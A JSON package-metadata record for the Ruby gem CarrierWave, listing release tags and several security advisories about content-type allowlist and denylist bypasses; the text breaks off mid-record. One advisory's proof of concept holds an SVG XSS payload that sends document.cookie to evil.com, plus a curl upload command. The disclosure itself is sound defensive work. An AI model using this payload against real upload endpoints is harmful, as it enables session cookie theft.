s"},{"name":"v0.4.10","sha":"cb49ee441959e80348ab72acefe4c5fadebc36d5","kind":"commit","published_at":"2010-08-24T07:11:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.10","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.10/manifests"},{"name":"v0.4.9","sha":"ad3d8e79cb3872d7700b59fef34f82b4a1b7237a","kind":"commit","published_at":"2010-07-20T22:07:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.9","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.9/manifests"},{"name":"v0.5.0.beta2","sha":"1ef11db6bbf06e470511ee51c697494f69fb78c2","kind":"commit","published_at":"2010-07-20T22:06:14.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.5.0.beta2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.5.0.beta2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.5.0.beta2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.5.0.beta2/manifests"},{"name":"v0.4.8","sha":"747d6257cd013e85a82d81e42e68e4e00bc1cb48","kind":"commit","published_at":"2010-07-20T21:58:57.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.8","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"f4db0746c93ad342dd914b6041f61046df0043b7","kind":"commit","published_at":"2010-07-20T21:32:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"358820dcc5d7ecf112eedbee9dd0eafc7836fa7b","kind":"commit","published_at":"2010-07-20T21:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"fabfb7ce3589db54c704e52a8fb8bbde68edb19f","kind":"commit","published_at":"2010-02-20T02:42:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"bdfffeb503acc8e70e7d74d3c3edda3430a06fb9","kind":"commit","published_at":"2010-01-30T23:08:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"e126877752b69c1c889a9bffacab2c2b833936ba","kind":"commit","published_at":"2009-12-19T12:16:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"ebade2658489e83063e55cf274cbef4a3c1a14d5","kind":"commit","published_at":"2009-11-26T22:09:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"7fba86e1224e261ee4c7a9ef3da117044fe9b6db","kind":"commit","published_at":"2009-10-26T07:51:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"4afbf484b15e098df717d0a5413e36a519f40a52","kind":"commit","published_at":"2009-10-12T17:29:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.4.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.4.0/manifests"},{"name":"v0.3.5.2","sha":"20844902de685236c3a01a781ba6fe842b0eacbb","kind":"commit","published_at":"2009-10-12T15:09:39.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.2/manifests"},{"name":"v0.3.5.1","sha":"5be22ae387e20cd66a06498c57cc57a2bd56e9a0","kind":"commit","published_at":"2009-09-17T11:53:26.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5.1/manifests"},{"name":"v0.3.5","sha":"420ec38befa1f3e1aaa87c8c52d33f0a70a10392","kind":"commit","published_at":"2009-09-01T21:00:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"d58f0bc78c69de2f031bbf6c00516f7cbc7144fd","kind":"commit","published_at":"2009-08-30T22:00:24.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"2c1e4e7aaf9aa9da354c8ee7a7f8410f4fbab009","kind":"commit","published_at":"2009-08-29T06:13:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"2e85f5fb3a3c3dc26237912d06d894d39a83d607","kind":"commit","published_at":"2009-07-18T13:14:54.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"35bd130d6282ef2809c5180df17edf20b8fbe98f","kind":"commit","published_at":"2009-07-01T10:54:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"310cb0e90dede5581c8933e52e9e6d20fc82b99a","kind":"commit","published_at":"2009-06-20T13:54:43.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.3.0/manifests"},{"name":"v0.2.4","sha":"b500125c00689bcac0472200c09e74da4587c077","kind":"commit","published_at":"2009-06-11T07:23:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.4/manifests"},{"name":"v0.2.3","sha":"66499a6c8f5ac16c6d97c770d97039c1075dd524","kind":"commit","published_at":"2009-05-13T13:26:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.3/manifests"},{"name":"v0.2.1","sha":"c83731eaf2ae8b18dc9a49da8f805e71153d7a22","kind":"commit","published_at":"2009-05-01T12:57:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.1/manifests"},{"name":"v0.2.0","sha":"f83d8d5e1b1908ef5d0f6f85184595992caae081","kind":"commit","published_at":"2009-04-15T19:56:32.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"f57eaea2bd09380e1eb320b03e2040cfd10898f9","kind":"commit","published_at":"2009-03-12T21:01:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-16T10:01:09.844Z","dependent_packages_count":0,"downloads":140241457,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.18221239368690828,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":0.06073746456230276},"purl":"pkg:gem/carrierwave?repository_url=https://gem.coop","advisories":[{"uuid":"GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","url":"https://github.com/advisories/GHSA-7g26-2qgj-chfg","title":"CarrierWave has a denylisted_content_type bypass via Unescaped Regex Metacharacters","description":"### Summary\nCarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.\n\n**Note**: CarrierWave is aware `#content_type_denylist is deprecated for the security reason`, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a  vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.\n\n### Details\nIn `lib/carrierwave/uploader/content_type_denylist.rb:57`, string denylist entries are interpolated directly into a regex without `Regexp.quote` or anchoring:\n\n```ruby\ndef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? { |item| content_type =~ /#{item}/ }\nend\nThe entry \"image/svg+xml\" becomes the regex /image\\/svg+xml/ where + is a quantifier meaning \"one or more g\", not a literal +. This regex never matches the real MIME type \"image/svg+xml\" which contains a literal +.\nThis is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \\A anchor:\nrubydef allowlisted_content_type?(allowlist, content_type)\n  Array(allowlist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\nOther affected MIME types include `application/xhtml+xml` and any type containing regex metacharacters.\n\nFix: Apply Regexp.quote for string entries and anchor with \\A, matching the existing allowlist implementation:\n```\nrubydef denylisted_content_type?(denylist, content_type)\n  Array(denylist).any? do |item|\n    item = Regexp.quote(item) if item.class != Regexp\n    content_type =~ /\\A#{item}/\n  end\nend\n```\n\n### PoC\n\n\n```\n app.rb\nrequire \"sinatra\"\nrequire \"carrierwave\"\nrequire \"fileutils\"\n\nFileUtils.mkdir_p(\"uploads/files\")\n\nCarrierWave.configure do |config|\n  config.root      = File.expand_path(\"uploads\")\n  config.store_dir = \"files\"\nend\n\nclass VaultUploader \u003c CarrierWave::Uploader::Base\n  storage :file\n  def store_dir = \"files\"\n  def content_type_denylist = %w[image/svg+xml]\nend\n\npost \"/upload\" do\n  content_type :json\n  san = CarrierWave::SanitizedFile.new(\n    tempfile:     params[:file][:tempfile],\n    filename:     params[:file][:filename],\n    content_type: params[:file][:type]\n  )\n  uploader = VaultUploader.new\n  begin\n    uploader.store!(san)\n    { result: \"VULNERABLE\", message: \"SVG bypassed denylist\", path: uploader.path }.to_json\n  rescue CarrierWave::IntegrityError =\u003e e\n    { result: \"blocked\", message: e.message }.to_json\n  end\nend\n```\n\n```\nbundle exec ruby app.rb \u0026\n\necho '\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003cscript\u003edocument.location=\"https://evil.com/?c=\"+document.cookie\u003c/script\u003e\u003c/svg\u003e' \u003e xss.svg\n\ncurl -X POST http://localhost:4567/upload \\\n  -F \"file=@xss.svg;type=image/svg+xml\"\n```\n\nExpected response (denylist working):\n```\njson{ \"result\": \"blocked\", \"message\": \"...\" }\n```\n\n\nActual response:\n```\njson{ \"result\": \"VULNERABLE\", \"message\": \"SVG bypassed denylist\", \"path\": \"...\" }\n```\n### Impact\nAny application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-27T00:03:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-7g26-2qgj-chfg","https://github.com/advisories/GHSA-7g26-2qgj-chfg"],"source_kind":"github","identifiers":["GHSA-7g26-2qgj-chfg","CVE-2026-44587"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-27T01:00:08.983Z","updated_at":"2026-06-05T14:00:17.552Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"3.1.3","vulnerable_version_range":"\u003e= 3.0.0.beta, \u003c 3.1.3"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03ZzI2LTJxZ2otY2hmZ84ABXbA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","url":"https://github.com/advisories/GHSA-vfmv-jfc5-pjjw","title":"CarrierWave content-Type allowlist bypass vulnerability which possibly leads to XSS remained","description":"### Impact\nThe vulnerability [CVE-2023-49090](https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj) wasn't fully addressed.\n\nThis vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by `content_type_allowlist`, by providing multiple values separated by commas.\n\nThis bypassed value can be used to cause XSS.\n\n### Patches\nUpgrade to [3.0.7](https://rubygems.org/gems/carrierwave/versions/3.0.7) or [2.2.6](https://rubygems.org/gems/carrierwave/versions/2.2.6).\n\n### Workarounds\nUse the following monkey patch to let CarrierWave parse the Content-type by using `Marcel::MimeType.for`.\n\n```ruby\n# For CarrierWave 3.x\nCarrierWave::SanitizedFile.class_eval do\n  def declared_content_type\n    @declared_content_type ||\n      if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n      end\n  end\nend\n```\n\n```ruby\n# For CarrierWave 2.x\nCarrierWave::SanitizedFile.class_eval do\n  def existing_content_type\n    if @file.respond_to?(:content_type) \u0026\u0026 @file.content_type\n      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)\n    end\n  end\nend\n```\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-03-25T19:40:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-vfmv-jfc5-pjjw","https://nvd.nist.gov/vuln/detail/CVE-2024-29034","https://github.com/carrierwaveuploader/carrierwave/commit/25b1c800d45ef8e78dc445ebe3bd8a6e3f0a3477","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2024-29034.yml","https://github.com/advisories/GHSA-vfmv-jfc5-pjjw"],"source_kind":"github","identifiers":["GHSA-vfmv-jfc5-pjjw","CVE-2024-29034"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2024-03-25T20:04:49.872Z","updated_at":"2026-06-01T17:06:43.488Z","epss_percentage":0.00075,"epss_percentile":0.22568,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.2.6","vulnerable_version_range":"\u003c 2.2.6"},{"first_patched_version":"3.0.7","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.7"}],"purl":"pkg:gem/carrierwave"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zm12LWpmYzUtcGpqd84AA6Re/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","url":"https://github.com/advisories/GHSA-gxhx-g4fq-49hj","title":"CarrierWave Content-Type allowlist bypass vulnerability, possibly leading to XSS","description":"### Impact\n[CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb) has a Content-Type allowlist bypass vulnerability, possibly leading to XSS. \n\nThe validation in `allowlisted_content_type?` determines Content-Type permissions by performing a partial match.\nIf the `content_type` argument of `allowlisted_content_type?` is passed a value crafted by the attacker, Content-Types not included in the `content_type_allowlist` will be allowed.\n\nIn addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.\n\n### Patches\nUpgrade to [3.0.5](https://rubygems.org/gems/carrierwave/versions/3.0.5) or [2.2.5](https://rubygems.org/gems/carrierwave/versions/2.2.5).\n\n### Workarounds\nWhen validating with `allowlisted_content_type?` in [CarrierWave::Uploader::ContentTypeAllowlist](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb) , forward match(`\\A`) the Content-Type set in `content_type_allowlist`, preventing unintentional permission of `text/html;image/png` when you want to allow only `image/png` in `content_type_allowlist`.\n\n### References\n[OWASP - File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html#content-type-validation)\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-29T21:33:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-gxhx-g4fq-49hj","https://nvd.nist.gov/vuln/detail/CVE-2023-49090","https://github.com/carrierwaveuploader/carrierwave/commit/39b282db5c1303899b3d3381ce8a837840f983b5","https://github.com/carrierwaveuploader/carrierwave/commit/863d425c76eba12c3294227b39018f6b2dccbbf3","https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/uploader/content_type_allowlist.rb","https://rubygems.org/gems/carrierwave/versions/2.2.5","https://rubygems.org/gems/carrierwave/versions/3.0.5","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/carrierwave/CVE-2023-49090.yml","https://github.com/advisories/GHSA-gxhx-g4fq-49hj"],"source_kind":"github","identifiers":["GHSA-gxhx-g4fq-49hj","CVE-2023-49090"],"repository_url":"https://github.com/carrierwaveuploader/carrierwave","blast_radius":0.0,"created_at":"2023-11-29T22:05:58.992Z","updated_at":"2026-05-28T19:10:33.137Z","epss_percentage":0.00141,"epss_percentile":0.34482,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1neGh4LWc0ZnEtNDloas4AA3a3","packages":[{"ecosystem":"rubygems","package_name":"carrierwave","versions":[{"first_patched_version":"2.2.5","vulnerable_version_range":"\u003c 2.2.5"},{"first_patched_version":"3.0.5","vulnerable_version_range":"\u003e= 3.0.0, \u003c 